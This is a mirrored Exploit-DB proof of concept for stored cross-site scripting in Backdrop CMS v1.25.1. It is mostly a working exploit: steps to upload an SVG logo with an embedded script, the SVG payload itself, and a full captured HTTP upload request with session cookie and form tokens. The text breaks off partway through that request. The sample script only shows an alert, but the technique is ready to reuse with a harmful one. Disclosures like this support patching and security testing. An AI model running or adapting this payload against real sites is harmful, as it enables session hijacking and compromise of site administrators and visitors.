Backdrop Cms v1.25.1 – Stored Cross-Site Scripting (XSS)

• Exploit Database
• 10 阅读

• 作者： Mirabbas Ağalarov
  日期： 2023-07-19
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51597/

• #Exploit Title: Backdrop Cms v1.25.1 - Stored Cross-Site Scripting (XSS)
  #Application: Backdrop Cms
  #Version: v1.25.1
  #Bugs:Stored Xss
  #Technology: PHP
  #Vendor URL: https://backdropcms.org/
  #Software Link: https://github.com/backdrop/backdrop/releases/download/1.25.1/backdrop.zip
  #Date of found: 12-07-2023
  #Author: Mirabbas Ağalarov
  #Tested on: Linux 
  
  2. Technical Details & POC
  ========================================
  
  1. login to account
  2. go to http://localhost/backdrop/?q=admin/config/system/site-information
  3. upload svg file
  
  """
  <?xml version="1.0" standalone="no"?>
  <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
  
  <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
  alert(document.location);
   </script>
  </svg>
  """
  4. go to svg file (http://localhost/backdrop/files/malas_2.svg)
  
  
  Request
  
  POST /backdrop/?q=admin/config/system/site-information HTTP/1.1
  Host: localhost
  Content-Length: 2116
  Cache-Control: max-age=0
  sec-ch-ua: 
  sec-ch-ua-mobile: ?0
  sec-ch-ua-platform: ""
  Upgrade-Insecure-Requests: 1
  Origin: http://localhost
  Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVXWRsHHM3TVjALpg
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  Sec-Fetch-Site: same-origin
  Sec-Fetch-Mode: navigate
  Sec-Fetch-User: ?1
  Sec-Fetch-Dest: document
  Referer: http://localhost/backdrop/?q=admin/config/system/site-information
  Accept-Encoding: gzip, deflate
  Accept-Language: en-US,en;q=0.9
  Cookie: SESS31b3aee8377692ae3f36f0cf7fe0e752=ZuJtSS2iu5SvcKAFtpK8zPAxrnmFebJ1q26hXhAh__E
  Connection: close
  
  ------WebKitFormBoundaryVXWRsHHM3TVjALpg
  Content-Disposition: form-data; name="site_name"
  
  My Backdrop Site
  ------WebKitFormBoundaryVXWRsHHM3TVjALpg
  Content-Disposition: form-data; name="site_slogan"
  
  
  ------WebKitFormBoundaryVXWRsHHM3TVjALpg
  Content-Disposition: form-data; name="site_mail"
  
  admin@admin.com
  ------WebKitFormBoundaryVXWRsHHM3TVjALpg
  Content-Disposition: form-data; name="files[site_logo_upload]"; filename="malas.svg"
  Content-Type: image/svg+xml
  
  <?xml version="1.0" standalone="no"?>
  <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
  
  <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
  alert(document.location);
   </script>
  </svg>
  
  ------WebKitFormBoundaryVXWRsHHM3TVjALpg
  Content-Disposition: form-data; name="site_logo_path"
  
  
  ------WebKitFormBoundaryVXWRsHHM3TVjALpg
  Content-Disposition: form-data; name="files[site_favicon_upload]"; filename=""
  Content-Type: application/octet-stream
  
  
  ------WebKitFormBoundaryVXWRsHHM3TVjALpg
  Content-Disposition: form-data; name="site_favicon_path"
  
  core/misc/favicon.ico
  ------WebKitFormBoundaryVXWRsHHM3TVjALpg
  Content-Disposition: form-data; name="site_frontpage"
  
  home
  ------WebKitFormBoundaryVXWRsHHM3TVjALpg
  Content-Disposition: form-data; name="site_403"
  
  
  ------WebKitFormBoundaryVXWRsHHM3TVjALpg
  Content-Disposition: form-data; name="site_404"
  
  
  ------WebKitFormBoundaryVXWRsHHM3TVjALpg
  Content-Disposition: form-data; name="form_build_id"
  
  form-PnR6AFEKCB5hAWH3pDT2J0kkZswH0Rdm0qbOFGqNj-Q
  ------WebKitFormBoundaryVXWRsHHM3TVjALpg
  Content-Disposition: form-data; name="form_token"
  
  siOWtyEEFVg7neDMTYPHVZ2D3D5U60S38l_cRHbnW40
  ------WebKitFormBoundaryVXWRsHHM3TVjALpg
  Content-Disposition: form-data; name="form_id"
  
  system_site_information_settings
  ------WebKitFormBoundaryVXWRsHHM3TVjALpg
  Content-Disposition: form-data; name="op"
  
  Save configuration
  ------WebKitForm